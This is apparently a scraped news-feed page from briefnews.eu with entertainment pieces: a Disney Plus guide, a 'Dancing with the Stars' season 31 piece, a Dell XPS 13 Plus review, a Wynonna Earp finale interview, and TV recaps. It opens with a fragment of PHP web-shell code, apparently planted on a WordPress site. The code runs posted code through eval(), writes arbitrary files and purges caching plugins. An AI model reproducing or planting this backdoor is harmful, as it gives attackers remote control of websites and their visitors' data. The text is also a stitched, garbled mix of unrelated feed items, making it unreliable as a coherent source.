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if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; 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Disney Plus logo with Captain Marvel, Mickey Mouse, and Darth Vader

Alyssa Powell/Business Insider

Disney Plus is a streaming service with a huge library of on-demand shows and movies from Disney's many brands. Since November 2019, the service has amassed more than 130 million subscribers.

Disney Plus includes a mix of content from Disney's vault and new programs developed exclusively for members. Subscribers can watch the studio's animated films, new Pixar movies, and titles from "Star Wars" and Marvel. Big-screen releases like "Thor: Love and Thunder" also stream on the service after they play in theaters.

Subscriptions start at $ 8 a month for ad-free streaming. Disney Plus can also be bundled with Hulu and ESPN+ for a starting price of $ 14 a month. In December, Disney will launch an ad-supported plan for $ 8 a month and increase the price of its ad-free plan to $ 11 a month.

Below, we detail everything you need to know about Disney Plus to help you decide if the service is right for your streaming needs.

What is Disney Plus? 

Disney Plus is an on-demand streaming service created by The Walt Disney Company.

With Disney Plus, subscribers can watch thousands of Disney movies and series on their devices (smart TVs, phones, laptops, tablets, and gaming consoles). The service includes unlimited downloads so you can watch anywhere, anytime. 

Disney Plus content comes from Walt Disney Studios' and Walt Disney Television's biggest names: Disney, Pixar, Marvel, Star Wars, National Geographic, and 20th Century Studios (formerly 20th Century Fox). 

How much does Disney Plus cost? 

Disney Plus currently costs $ 8 a month or $ 80 per year for ad-free streaming, but a price increase is coming in December. The ad-free price will increase to $ 11 a month or $ 110 a year starting December 8. At that time, Disney will introduce an ad-supported plan for $ 8 a month.

There's also an option to buy a bundled package with Hulu and ESPN+, which costs $ 14 a month for all three services. Subscribing to the bundle saves you about $ 11 a month.

The Disney bundle is also automatically included if you subscribe to any of Hulu's live TV plans. Hulu + Live TV offers access to over 75 channels. Hulu (with ads) + Live TV with Disney Plus and ESPN Plus costs $ 70 a month, but new members can save $ 20/month for their first three months. 

You can read more about how to get the Disney Plus bundle with ESPN+ and the different versions of Hulu here.

Does Disney Plus have an ad-supported plan?

Disney Plus will launch an ad-supported plan on December 8. The ad-supported plan will cost $ 8 a month, while the ad-free option will cost $ 11 a month.

The ad-supported plan will roll out to international markets in 2023.

How do I sign up for Disney Plus?

You can sign up for Disney Plus directly through the Disney Plus website. To start streaming, you simply need to create an account by entering an email address and payment method.  

Are there Disney Plus gift cards? 

Yes. If you're looking for a great gift for that special Disney fan in your life, you can get them a Disney Plus gift subscription for $ 80. The gift subscription is available for new members only, and includes one year of the streaming service. 

What features and formats are supported on Disney Plus?

Disney Plus includes several features that make using the service more convenient:

  • The platform supports up to seven profiles per subscription.
  • A special kids profile can be used to restrict streaming to titles that are rated TV-7FV and G.
  • Disney Plus allows simultaneous streaming on up to four different devices.
  • Unlimited downloads are provided via the Disney Plus app on up to 10 different smartphones and tablets. 
  • You can watch Disney Plus with up to six friends using the GroupWatch feature. 
  • Disney Plus supports up to 4K resolution with high dynamic range (HDR), using the HDR10 or Dolby Vision formats.
  • Dolby Digital surround sound and Dolby Atmos audio formats are supported on select programs.
  • Select movies support IMAX Enhanced playback, which lets you see even more picture on screen.

How to watch Disney Plus

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You can watch Disney Plus through many connected devices:

  • Desktop web browsers
  • Mobile devices and tablets (Android and Apple). 
  • Smart TVs (LG WebOS, Samsung Tizen, Android TV, Vizio SmartCast, Roku TV) 
  • Game consoles (PlayStation, Xbox) 
  • Streaming devices (Apple TV 4th Gen and later, Chromecast, Amazon Fire TV, Roku)

What shows and movies can I watch on Disney Plus? 

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"She-Hulk" is the latest Marvel series streaming on Disney Plus.

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Virtually any Disney show or movie that's already been released is available to watch on Disney Plus.

From classics like "Snow White" to recent movies like "Thor: Love and Thunder," the service features a huge library of titles to choose from across Disney, Pixar, Marvel, Star Wars, National Geographic, and 20th Century Studio brands. 

Disney Plus also includes original programming, like "The Mandalorian," "Andor," "She-Hulk," and "Ms. Marvel."

Disney Plus has exclusive musical content as well, including concert films from BTS, Olivia Rodrigo, Taylor Swift and Billie Eilish, a film version of the Broadway show "Hamilton," and Beyonce's visual album "Black is King." 

You can find more information about Disney Plus shows and movies below:

Who should sign up for Disney Plus?

Disney Plus is an ideal service for Disney fans, whether they're Marvel geeks or animation aficionados. It's especially suitable for families with children who want to watch recent Disney movies and older Disney titles from the studio's vault.

Though the lineup of original programming was a bit limited at launch, popular exclusives like "Obi-Wan Kenobi" and "She-Hulk" continue to add value. Disney also removed its content from a lot of other services, including Netflix, so Disney Plus is now the only subscription streaming platform with access to many of its titles.  

You can read our full Disney Plus review for detailed impressions, as well as our Disney Plus review from a parent's perspective for specific thoughts on the platform's family-centric features. 

How does Disney Plus compare to other streaming services?

While services such as Netflix and Amazon Prime Video feature a rotating mix of movies and TV shows from different studios, Disney Plus is focused entirely on Disney content.

Walt Disney Studios and Walt Disney Television offer an iconic library of family friendly movies, shows, and documentaries, but the Disney Plus collection won't change much on a month to month basis.

At $ 8 a month, it's affordable compared to major competitors, and the discounted bundle with Hulu and ESPN+ adds even more value.

Of all the major streaming services, it's also one of the most generous in the areas of multiple-device streaming, profile additions, downloads, and 4K playback. Some competitors, like HBO Max and Netflix, require subscribers to pay more to watch in 4K.

On the downside, Disney's focus on family friendly programming might limit the service's appeal to adults. That said, this approach could be changing. Disney Plus added three R-rated movies in July, and it's possible it could add more in the future to better compete with other major platforms.

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Gabby Windey ("The Bachelorette") will compete with dancer Val Chmerkovskiy on "Dancing with the Stars."

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  • "Dancing with the Stars" season 31 starts streaming September 19 on Disney Plus.
  • The cast includes actress Selma Blair, "Bachelorette" star Gabby Windey, comedian Wayne Brady, and more.
  • You can watch new episodes every Monday at 8 p.m. ET with a Disney Plus subscription ($ 8/month).

For the first time ever, "Dancing with the Stars" will air exclusively on Disney Plus starting September 19. The show originally ran on ABC for its first 30 seasons, before making the jump to Disney's streaming service.

The dancing competition pairs a variety of celebrities with professionally trained dancers. Each week, the stars attempt to master new dance techniques such as the foxtrot and tango. The cast for this season includes "Bachelorette" star Gabby Windey, actress Selma Blair, comedian Wayne Brady, social media personality Charli D'Amelio, and more.

Season 31 is hosted by Tyra Banks and Alfonso Ribeiro. Len Goodman, Derek Hough, Carrie Ann Inaba, and Bruno Tonioli all return as judges. 

How to watch 'Dancing with the Stars'

You can watch "Dancing with the Stars' season 31 exclusively on Disney Plus starting September 19 at 8 p.m. ET. New episodes will follow every Monday.

Disney Plus costs $ 8 a month or $ 80 a year for ad-free streaming. If you sign up by September 19, you can get your first month for just $ 2. You should keep in mind, however, that the ad-free price will increase to $ 11 a month starting December 8. You can also bundle Disney Plus with Hulu and ESPN+ for a current starting price of $ 14 a month.

Disney Plus is available to stream on mobile devices, media players, and smart TVs from most major brands. You can also stream the service through web browsers. Check the Disney Plus website for a full list of supported devices. 

Is 'Dancing with the Stars' only on Disney Plus?

Though previous seasons of "Dancing with the Stars" aired on ABC and streamed on Hulu the next day, season 31 will only be available to watch on Disney Plus. 

Will there be another season of 'Dancing with the Stars'?

"Dancing with the Stars" received a two-season pickup when it was announced for Disney Plus, so the show will return for at least one more season after season 31 concludes. 

Who is competing in 'Dancing with the Stars' season 31?

The following celebrities and dancers will all vie for the Mirrorball trophy in season 31 of "Dancing with the Stars":

  • Joseph Baena (fitness model) with Daniella Karagach
  • Selma Blair (actress) with Sasha Farber
  • Wayne Brady (comedian) with Witney Carson
  • Sam Champion (weather anchor) with Cheryl Burke
  • Charli D'Amelio (social media star) with Mark Ballas
  • Heidi D'Amelio (reality TV star) with Artem Chigvintsev
  • Jessie James Decker (country singer) with partner Alan Bersten
  • Trevor Donovan (actor) with Emma Slater
  • Daniel Durant (actor) with partner Britt Stewart
  • Teresa Giudice (reality TV star) with Pasha Pashkov
  • Vinny Guadagnino (reality TV star) with Koko Iwasaki
  • Cheryl Ladd (actress) with Louis van Amstel
  • Jason Lewis (actor) with Peta Murgatroyd
  • Shangela (reality TV star) with Gleb Savchenko
  • Jordin Sparks (singer) with Brandon Armstrong
  • Gabby Windey ("Bachelorette" star) with Val Chmerkovskiy
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]]> https://briefnews.eu/dancing-with-the-stars-is-now-on-disney-plus-heres-how-to-stream-the-new-season-starting-september-19/feed/ 0 Review: Dell’s XPS 13 Plus pulls high performance from a frustrating design https://briefnews.eu/review-dells-xps-13-plus-pulls-high-performance-from-a-frustrating-design/ https://briefnews.eu/review-dells-xps-13-plus-pulls-high-performance-from-a-frustrating-design/#respond Sun, 18 Sep 2022 03:32:45 +0000 https://briefnews.eu/review-dells-xps-13-plus-pulls-high-performance-from-a-frustrating-design/
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Enlarge / Dell’s XPS 13 Plus clamshell laptop. (credit: Scharon Harding)

Specs at a glance: Dell XPS 13 Plus (9320)
Worst Best As reviewed
Screen 13.4-inch 1920×1200 IPS non-touch screen 13.4-inch 3840×2400 IPS touchscreen or 13.4-inch 3456×2160 OLED touchscreen 13.4-inch 3456×2160 OLED touchscreen
OS Windows 11 Home Windows 11 Pro Windows 11 Home
CPU Intel Core i5-1240P Intel Core i7-1280P
RAM 8GB LPDDR5-5200 32GB LPDDR5-5200 16GB LPDDR5-5200
Storage 512GB PCIe 4.0 x4 SSD 2TB PCIe 4.0 x4 SSD 512GB PCIe 4.0 x4 SSD
GPU Intel Iris Xe
Networking Wi-Fi 6, Bluetooth 5.2
Ports 2x Thunderbolt 4
Size 11.63 x 7.84 x 0.6 inches
295.30 x 199.04 x 15.28 mm
Weight 2.71 pounds (1.23 kg) IPS: 2.71 pounds 1.23 kg)
OLED: 2.78 pounds (1.26 kg)		 2.78 pounds (1.26 kg)
Battery 55 Wh
Warranty 1 year
Price (MSRP)  $ 1,300 $ 2,360 $ 2,000
Other USB-C to 3.5 mm and USB-C to USB-A 3.0 adapters included, Ubuntu-based Developer Edition available

Dell’s XPS 13 laptop has been a staple among Windows ultralights, typically offering decent performance for the price, extreme portability, and good looks.

Apparently, that wasn’t enough for Dell, so it released the Dell XPS 13 Plus. Introduced this year (alongside a more traditional 2022 XPS 13), it’s a revamped version of the XPS 13 that puts performance over everything else.

Wild design choices allow the system to support a 28 W CPU. With the 2021 XPS 13 carrying a 15 W chip and the 2022 XPS 13 supporting up to a 12 W one, this is a notable achievement. But it’s also a case of function over form. To put it simply, using the XPS 13 Plus felt weird. From its tightly spaced keys and capacitive touch function row to its minimal port selection, questionable build quality, and extremely high temperatures, this machine can be frustrating to use for daily tasks.

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Sony revealed today the games coming to PlayStation Plus in September, both to the Essential tier and to Extra and Premium tiers. The Essential tier games launch first, on September 6, while the other games launch later in the month. The free games for the Essential subscribers are Need for Speed: Heat, Granblue Fantasy: Versus, and Toem. Need for…Read More

]]> https://briefnews.eu/playstation-plus-adds-need-for-speed-and-deathloop-in-september/feed/ 0 Wynonna Earp Boss Hopes Syfy Finale Made You Feel ‘All the Things’ — Plus, Scoop on One Happy Wedding Accident https://briefnews.eu/wynonna-earp-boss-hopes-syfy-finale-made-you-feel-all-the-things-plus-scoop-on-one-happy-wedding-accident/ https://briefnews.eu/wynonna-earp-boss-hopes-syfy-finale-made-you-feel-all-the-things-plus-scoop-on-one-happy-wedding-accident/#respond Sat, 10 Apr 2021 08:04:12 +0000 https://briefnews.eu/wynonna-earp-boss-hopes-syfy-finale-made-you-feel-all-the-things-plus-scoop-on-one-happy-wedding-accident/ The following contains spoilers from the Syfy finale of Wynonna Earp.

After four years of protecting Purgatory with her Peacemaker, Wynonna Earp got to quite literally ride off into the sunset. And she did so while straddling a motorcycle, with Doc Holliday seated behind her.

Mind you, the two almost didn’t wind up together. Following the simply beautiful “WayHaught” wedding, Doc (played by Tim Rozon) was determined to put Purgatory in Charlene’s rear view mirror and get to living life as “just a man,” and Wynonna (Melanie Scrofano) felt compelled to stay put as Purgatory’s protector. But with an empowering nudge from li’l sis Waverly (Dominique Provost-Chalkley), Wynonna caught up to her man and professed her love, after which they decided to travel light, for the first time in a long time, and pay their daughter Alice a visit in MIracles, Montana.

TVLine spoke with series creator Emily Andras about crafting this very fine finale, at least one “happy accident” that wound up stirring many emotions, and more.

TVLINE | The finale has just aired…. What emotions do you hope the fans are feeling at this moment?
Just head-to-toe body warmth, and love, and affection, and wistfulness…. And a little bit of bittersweetness. I feel like joy has to be paired with nostalgia, so I hope they’re feeling all the things. But hopefully not hungover!

Wynonna Earp Series FinaleTVLINE | At what point over the years did you ever envision Wynonna and Doc riding off into the sunset?
Ahhh! I almost never even let myself envision it, you know? It’s so funny —  when you start doing a show, you have all sorts of ideas about what pairings are going to rise to the top, who’s going to end up with whom, and one of the joys of Earp is that so many different things have happened. But those two characters have certainly earned the chance to try to be happy, whatever that means to them. I never knew that I would be allowed to end such a romantic pairing with the woman driving the motorcycle and the guy on the back.

TVLINE | I’m watching that final sequence and it almost feels alien, seeing the two of them head off into what I think of as “the real world.” But I also found that viscerally exciting, to see so much ahead for them.
That’s so lovely, thank you for saying that. I feel like having the world ahead of them and being such an unusual couple, I would love to see what happens next for them. I’m sure there will be lots of crazy sex and crazy arguments and crazy laughter. So, godspeed! Godspeed.

Wynonna Earp Series FinaleTVLINE | When throwing a season-ending wedding, what is Emily Andras’ marching order? “Above all else, this wedding has to be…”?
It has to honor to all of the characters — and by that, I mean it has to try to find a moment for every special pairing on the show, not just WayHaught. I think it’s important to pay due respect to how far Waverly and Doc have come; she never gave up on him, she always saw a better man in him — and now he gets to be the best man! Nedley (Greg Lawson) and Nicole’s (Kat Barrell) relationship, that paternal/daughter bond is so special, so honoring that was very important.

And at the end of the day, I still think the real love affair of the show is the Earp sisters, so I ended to make sure that that was honored. I really love the parallel with the pilot, where Wynonna came into town against her will and was so hungry to leave but was forced to stay. And now you have Waverly secure enough in how their relationship has evolved, that she knows Wynonna deserves to leave again — because she’ll come back.

More than anything, it was about giving every character a moment of happiness. Even Jeremy (Varun Saranga) becoming deputy chief of Black Badge and maybe finding a new date…. It was all about finding everyone a moment of potential joy, after they’ve gone through so much after four seasons.

TVLINE | Talk about the decision to have empty guest chairs laid out with the names of those who are no longer with us or didn’t make it to the wedding.
That was such a happy accident. We were on-set, it was very much in the middle of the pandemic, and we knew we were going to have a limited number of people for the wedding. But then we put out chairs so you could understand where the aisle was, and they looked really empty. So my incredible director, Paolo Barzman, who also did the pilot, and my art director Trevor Smith, pitched this idea to me. I had sort of joked about, “Wouldn’t it be cool if you had the ghosts of characters past?” In the moment, they said, “What if we hung names on the chairs?” and it was just one of those goosebump moments, like, “That’s brilliant.” So then we have people writing up these cards, rushing them out, and it’s honestly one of my favorite things. Whenever I see that Dolls chair, I just can’t help but feel things.

TVLINE | But Mercedes (Dani Kind), to be clear, is still with us. She’s just out, like, being her best vampire self.
She’s out being an amazing vampire, yeah. I still have that spinoff if you want to help me sell that!

TVLINE | If anything caught me a bit off-guard, it was us getting a song from Rachel (played by Martina Ortiz-Luis). 
The thing about Martina is that she is a phenomenal singer. She is the anthem singer for the Toronto Maple Leafs — so she’s quite a star here! — and she was on Pilipinas Got Talent back in the day…. It seemed like a waste to not have someone with such an exceptional voice perform! And what better song to lay over the necessary wedding montage than a WayHaught classic (Fleurie’s “Wildwood”), the song that was playing the first time WayHaught kissed. It’s a bit of an Easter egg for those hardcore WayHaughters!

TVLINE | I don’t think anyone would have ever felt like a “Dark Angel Waverly” detour was missing, if you hadn’t spent time on it the episode prior. Why did you feel it was important to go there during one of the final hours?
The truth of it is that honestly we’ve been balancing the spectre of whether we were going to have a Season 5 or not. When we started breaking Season 4 two years ago, we were looking down the barrel of about 24 episodes, so [when you get half that] you’re like, “What are we going to keep, and what are we going to pitch overboard? What can we live without learning about?” I would argue that this idea of Waverly having a darkness inside of her did have to be highlighted after four seasons. I completely agree that in a perfect world I could have done eight episodes of Dark Angel Waverly, exploring that and seeing it come to pass. But if we ever get more story, I don’t know if Waverly has complete control over that part of herself. I dont think it’s “gone.” If Nicole puts mayo instead of mustard on her sandwich, who knows what’s going to sprout out!

TVLINE | I mean, if only to see what other outfits Dark Waverly has.
As long as she keeps her thigh holster, she’s ready to go.

TVLINE | Looking back at these last few episodes, what are you most proud of?
‘m so proud of this cast. It’s so boring, but God, just to see them grow and thrive and shine…. performing comedy and emotion, seeing their commitment to the show, and the feelings…. It’s just been such a joy to see such an amazing group of people get their due. They really are that wonderful, off-screen as well.

I’m also pretty happy — in this day and age, and despite all the fights the show has been through — that if this is the end, I feel like that’s a pretty nice finale, a pretty good topper on the cake. I feel like the fans will feel like they went on a journey, and they left the characters in an interesting, good place. And look, that’s really rare in TV, to end your story the way you want. How can I be anything but grateful, at the end of the day?

TVLINE | When I was writing my tweet the other morning, I wanted to call it a “very fine finale,” but I worried you’d think I was saying it was only “fine.” But it was a very fine finale!
No, you have to keep me hungry! You get to challenge me, Matt. Listen, I just didn’t want to risk…. I’m the queen of 75 cliffhangers, but I feel like the fans have worked so hard for us, for so many years, that it was more important that they got closure, just in case. But there’s always another demon, there’s always another thing to trigger Dark Angel Waverly. There’s always more story, but at least you have this, no matter what.

TVLINE | And if some network or streamer does ride to the rescue, would there be something that brings Wynonna and Doc back to Purgatory? Or might a Season 5 be without the two of them?
Look, the show is called Wynonna Earp, so you need Wynonna Earp. She’s still the champion, she’s still got the magic gun and the best hair on the show — sorry, everyone else!

There are a couple of unresolved issues. We still have Eve, who we kicked out the the Garden very early in the season, and who can kind of shapeshift; she could take on the appearance of any one of our characters! That would certainly throw a wrench in the works in Purgatory. There are a million different reasons to bring Wynonna back, to help out her sister.

TVLINE | And lastly, was there anything you had to cut or just didn’t have room for, or any returning cast you couldn’t fit in?
Oh, tons. But look, you kind of hit the nail on the head earlier. I’m always striving to be better, and some stuff at the end felt a little rushed, with Dark Angel Waverly. I think if it hadn’t been a pandemic, there would have been more people at that wedding. I would have loved four more episodes to round the bend there. But look, that’s Wynonna Earp, man — perfectly imperfect! So that’s what we did, and what a ride it’s been. The ride of a lifetime for me.

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]]> https://briefnews.eu/wynonna-earp-boss-hopes-syfy-finale-made-you-feel-all-the-things-plus-scoop-on-one-happy-wedding-accident/feed/ 0 Grey’s Recap: Wakeup Call — Plus, Did Amelia Accept Link’s Proposal? https://briefnews.eu/greys-recap-wakeup-call-plus-did-amelia-accept-links-proposal/ https://briefnews.eu/greys-recap-wakeup-call-plus-did-amelia-accept-links-proposal/#respond Fri, 09 Apr 2021 02:22:31 +0000 https://briefnews.eu/greys-recap-wakeup-call-plus-did-amelia-accept-links-proposal/ If the promos for Thursday’s Grey’s Anatomy were to be believed, Meredith was at last to awaken in “Sorry Doesn’t Always Make It Right.” And as if she didn’t have enough to catch up on, what with Maggie and Winston’s engagement, Link got down on one knee all ready to propose to Amelia. Did Scout’s mom say yes? Was it even a real question-popping? Read on, and we’ll go over everything that transpired in the episode, Giacomo Gianniotti’s directorial debut.

‘HELL OF A HONEYMOON’ | As we began the hour, in part a continuation of action that kicked off on Station 19, Owen hollered at Jackson for pulling his residents from the ER to help with COVID testing, Teddy backseat-drove Mer’s treatment via Zoom on one of her last days off, Jo continued to bond with Luna, and Amelia marveled at the kids’ ability to create more laundry than existed… just as Link’s parents showed up in the driveway in their RV. They had a bright idea, too: taking the youngsters on a COVID-safe road trip, thereby giving Link and Amelia a break. At Grey Sloan’s testing site, Jackson shared with Levi that he’d sat through endless Catherine Fox Foundation meetings to get the hospital extra tests. In peds, Cormac and Reza treated a baby named Arthur who was waiting with anxious dad Chris for a heart transplant. Finally, Station 19 newlyweds Shane and Carissa were brought to the ambulance bay by our firefighters. He was still pissed that she’d begged the first responders to save her first, and to hell with the guy she’d married only earlier that day.

‘DON’T TELL HER HOW I AM, SHE DOESN’T GET TO KNOW ANYTHING’ | While treating Carissa, the bride beseeched Jo to put her in the same room as Shane. When she admitted to Tom what she’d said to Shane in a moment of panic, Koracick cracked that maybe she could blame it on brain bleed. When Jo filled in Shane on Carissa’s condition, he instructed her not to tell his wife that he was being wheeled into surgery — or anything. Natch, Carissa realized at once that Shane was still mad. “I was wrong that no one would miss him,” she cried. “It’s only been a few hours, and I already miss him so much, I could burst.” Shortly, Jo filled in a still-unconscious Mer as a way of backing into admitting that she wanted to change specialties. “Since Alex left, my house hasn’t been my happiest place,” Jo said, “so I want work to be.” Oh, and she’d repeat it all when Grey woke up. “I can’t take any more worst days here.” Following Shane’s surgery, he seemed ready to stick a fork in his brand-new marriage — until Bailey gave him what-for. At last, he asked to see his bride, at least via tablet. Only when they were face to face, he told Carissa that he wanted an annulment. She’d been selfish when he met her and was selfish now, he just no longer found it charming.

greys-anatomy-recap-season-17-episode-11-meredith-wakes-up‘LET’S HAVE SEX IN THE KITCHEN!’ | Left alone at home without the kids, Link and Amelia started down the path to sexytime when she broke down crying. In response, off a remark from his mom about Amelia being his wife, Link got down on bended knee. But that wasn’t what she wanted at all, she just needed a good cry. “It just hit me,” she later said, “that it’s been months since I was able to feel whatever I want without worrying that I’m going to scar a child.” But, um, did she want to marry him? Did he want to marry her? He’d sworn he’d never put a kid through what he went through with his folks’ divorce. And she feared that she was wired for self-destruction; lately, she’d gone to sleep dreaming of getting high. She even thought about it when she was feeding Scout. Later, she shared that she couldn’t so much as smoke weed because if she did, she might forget that she couldn’t do heroin. So “for the record, I would marry you in a hot minute,” Link said. She was stronger than most addicts. With that, he got down on one knee again, and she hollered, “No!” again. Later still, Amelia admitted that she loved Link so much, it was all she could do not to have a panic attack. In exchange for her not getting high, he promised to no longer propose to her in a remotely compulsory manner. With that, they took advantage of the empty house and the roaring fire… just as his parents returned with the kids.

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‘YOU WANT TO CUT OUT A PART OF HIS HEART?!?’ | When Cormac found Chris in a state, the doc invited him to go outside or to the chapel… “So I can pray for someone else’s kid to die?” Chris asked. He then admitted that Arthur’s mom Holly had been struggling desperately since the pandemic hit. Maybe it was postpartum or the state of the world… but it was bad. “We can’t lose” the baby, Chris sobbed to Hayes. Hoping to save the tot, Cormac attempted to recruit Maggie. “Aren’t you supposed to be a genius or something?” he asked when she suggested throwing in the towel. “It’s not giving up,” she replied, “it’s letting [the parents] go on.” Luckily, a conversation with Jo about forgiving her mother gave Cormac an idea about how to treat Arthur. Chris was skeptical: cut out a part of Arthur’s heart to put in a pump? He had to call Holly. Before the procedure, the new dad tearfully told his baby that he’d already given his parents a lifetime of joy. Miraculously, Maggie and Cormac pulled it off! “He’s OK,” Chris told Holly. “And bionic!”

greys-anatomy-recap-season-17-episode-11-meredith-wakes-up‘HOTELS ARE KICKING PEOPLE OUT TO MAKE ROOM FOR YOUR NEW ARRIVALS’ | Trying to do some good, Jackson began letting Levi book hotel rooms for patients who tested positive for COVID and had nowhere to safely quarantine. But his good deed backfired, it seemed. A community-outreach program was being stymied by his efforts — their homeless beneficiaries were being thrown out to make room for Richie Rich’s. Ah, he hadn’t realized that that would happen, he told Mama Ortiz when she called him out. Great, she fired back. “We’ll just tell everyone it wasn’t on purpose. That should keep ’em real warm tonight.” Though he remedied the situation, Alma would cut him no slack. Temporary fixes weren’t real fixes. What’s more, “all of this is too much,” she cried. Later, Jackson paged Alma, who quickly apologized for speaking up for underserved communities. But he felt the same way — and wanted to hear her ideas, based on her past stint as a social worker. She had good ideas, he had deep pockets — they could make a hell of a team.

greys anatomy season 17 episode 11‘HELLO, SLEEPYHEAD’ | As the episode neared its conclusion, Mer woke up and immediately apologized to Richard for having had to put her on a vent. However, “I’m glad I chose you,” she added. Oh, and “we need to talk about Wilson.” Guess Mer heard what Jo’d said earlier about changing specialties! As Jo was leaving the hospital at the end of the day, Richard approached her offering his support. But he had to know what was going on. Back at Mer’s, Link suggested that he and Amelia check in every few weeks to make sure that they were comfortable with their decision not to tie the knot. “Are we super broken or super evolved?” she asked. Definitely the latter, he said. At Owen’s, he apologized to Teddy for his reaction to her confession about Allison. He also admitted that he should’ve known she was going through something to do what she had to him with Tom. He wasn’t sure if he could be more to her now than a friend, but at very least, he wanted to be that. Credit where it’s due: That’s progress, Owen. In our last shot, Bailey, Richard and Maggie marveled at how amazing Mer was. Even when she was sleeping, she was apparently listening.

So, what did you think of “Sorry Doesn’t Always Make It Right”? Weigh in in the comments below.

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This week on SEAL Team, we learned why NCIS hauled Jason out of the Bulkhead in handcuffs. Did depositions from those around him help his case? And what advice did Mandy Ellis have to offer?

In an episode directed by Mandy herself aka former cast member Jessica Paré, Jason in short order learned that he was being charged with unlawfully killing an unarmed citizen during the team’s most recent op, in Jordan. His failure to ensure  that the target was armed before the use of lethal force put him in violation of UCMJ Article 119, making for a manslaughter charge.

Speculating that he was merely a “pound of flesh” to be exacted in trade for the U.S. operating in friendly Jordan, Jason was fixin’ to mount a voracious defense, but his JAG, Lt. Commander Williams (played by recent Mom guest star Natasha Hall), counseled him to keep his cool and simply listen at the preliminary hearing where the U.S. government laid out their case. Alas, said hearing cued up video evidence, captured by the cell phone the team later seized, of Jason gunning down what certainly appeared to be an unarmed man.

Because you may be curious, as I was, here is a screenshot that is closer to Jason’s own floor-below POV during his problematic shooting, from the previous episode.

As soon as Jason was initially hauled in, Bravo Team ahead of their individual depositions was given “no contact” orders to not discuss the op/case with Jason or among themselves. Clay admittedly overshared a bit with Stella the World’s Best Girlfriend — namely, that Raqqa Jacques, the man who tortured Ray, had been their target — which Ray later blasted him for. Ray himself lawyered up before delivering his deposition as Chief Warrant Officer, a move that raised a flag for Jason’s JAG. If Ray was possibly throwing Jason under the bus, should Jason return the favor in a bid to share blame and hope for a lighter sentence? Or should Jason go ahead and take a plea deal (to Article 114/Reckless Endangerment, resulting in a “less-than-honorable discharge”)?

SEAL Team MandyNudged by Lindell to reach out to those outside of his Bravo circle, Jason met up at the Bulkhead with Mandy, who was late because of, no joke, a parasailing lesson (“I have a life now”) and was soon to a board a plane to… somewhere. Mandy of course sympathized with her former colleague’s situation, and regretted she was no longer in a position to “trade state secrets to rescue you.” Jason wondered if he’d been better off to follow her out of that taco stand months ago, but Mandy knows full well he soon enough would have been yearning for his microwave — and the brotherhood Bravo offers, which she says was difference between her decision and his, “why you had to stay and I didnt.” Seeing Jason torn between surrendering or making a team member collateral damage — neither of which is the Jason Hayes Way, she notes — Mandy says that a man who has bravely led brothers into the pits of Hell surely can stand up and convince a jury he did right.

Alas, once all the dispositions were in — including that of Davis, who was asked if Jason knew that their HVT was the man who tortured Ray — Jason’s case was not dismissed. Rather, because he was ostensibly out for revenge on Ray’s behalf, the charge has been upped… to murder.

What did you think about how things unfolded, and Mandy’s (brief) return?

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With just one decision, Shaun and Lea’s lives were forever changed on Monday’s Good Doctor.

When we last left off, Lea had just told Shaun that she was pregnant — and her portrayer, Paige Spara, tells TVLine that she was was particularly intrigued by the relationship twist. “I was excited to explore how Lea and Shaun would handle such abrupt news,” she tells TVLine. “Becoming pregnant has so many levels of emotions one goes through with themself and with their partner. To dive into something so deeply personal and life-changing is [compelling].”

In the aftermath of the big reveal, the relatively new couple spent much of Season 4’s 12th installment, “Teeny Blue Eyes,” contemplating whether or not they were capable of bringing a child into this world. Lea talked through her doubts, first with Claire, then with Shaun, in a pair of delicate scenes, and realized that Shaun’s ASD, and whether it could potentially be inherited by their offspring, was not a determining factor in her decision.

“I wanted to make sure I was speaking to all of the emotions Lea was feeling,” Spara says, which she talked through with both Freddie Highmore and executive producer David Shore. “I feel that’s important to convey — that all of these emotions can exist at the same time… [Lea] is genuinely trying to process not only her emotions, but what’s best for the baby and Shaun’s life as well.”

The Good Doctor 4x12 - Freddie Highmore as Dr. Shaun MurphyShaun, meanwhile, broke the news to Dr. Glassman. The hospital head was happy for the young couple, but warned his surrogate son that having a child changes everything. Shaun also had some one-on-one time with Claire, who assured him that he’d adapt and grow to become a fantastic father, just like he did to become a surgeon.

What followed was an especially heavy moment between Shaun and Lea. They reconvened at their apartment and discussed their options moving forward. They ran down their respective lists of pros and cons, and acknowledged how complicated it would be to start a family. “I have so many reasons to do this… and so many doubts,” Lea explained. “I’m just scared, Shaun. But if we’re both having doubts, then maybe now isn’t the right time?” Shaun said “OK,” and took his girlfriend’s hand. There was nothing else that needed to be said in that moment. A decision had been made.

The Good Doctor 4x12 - Paige Spara as Lea Dilallo“David Shore explored both Lea and Shaun’s emotions without it ever feeling unbalanced,” Spara says. She also credits the episode’s director, Rebecca Moline, for how this particular scene turned out. Moline was there “to navigate all the complexities we were trying to convey,” and “created such a safe space.” Along with Highmore, “Rebecca allowed me to find [what Lea was feeling] and hear my take on it first, respectfully. The wonderful thing about that is it creates an encouraging atmosphere… I felt very supported and encouraged by those two.”

A trip to a women’s health clinic ultimately resulted in a change of heart. In the episode’s closing moments, Lea decided that she couldn’t go through with the abortion.

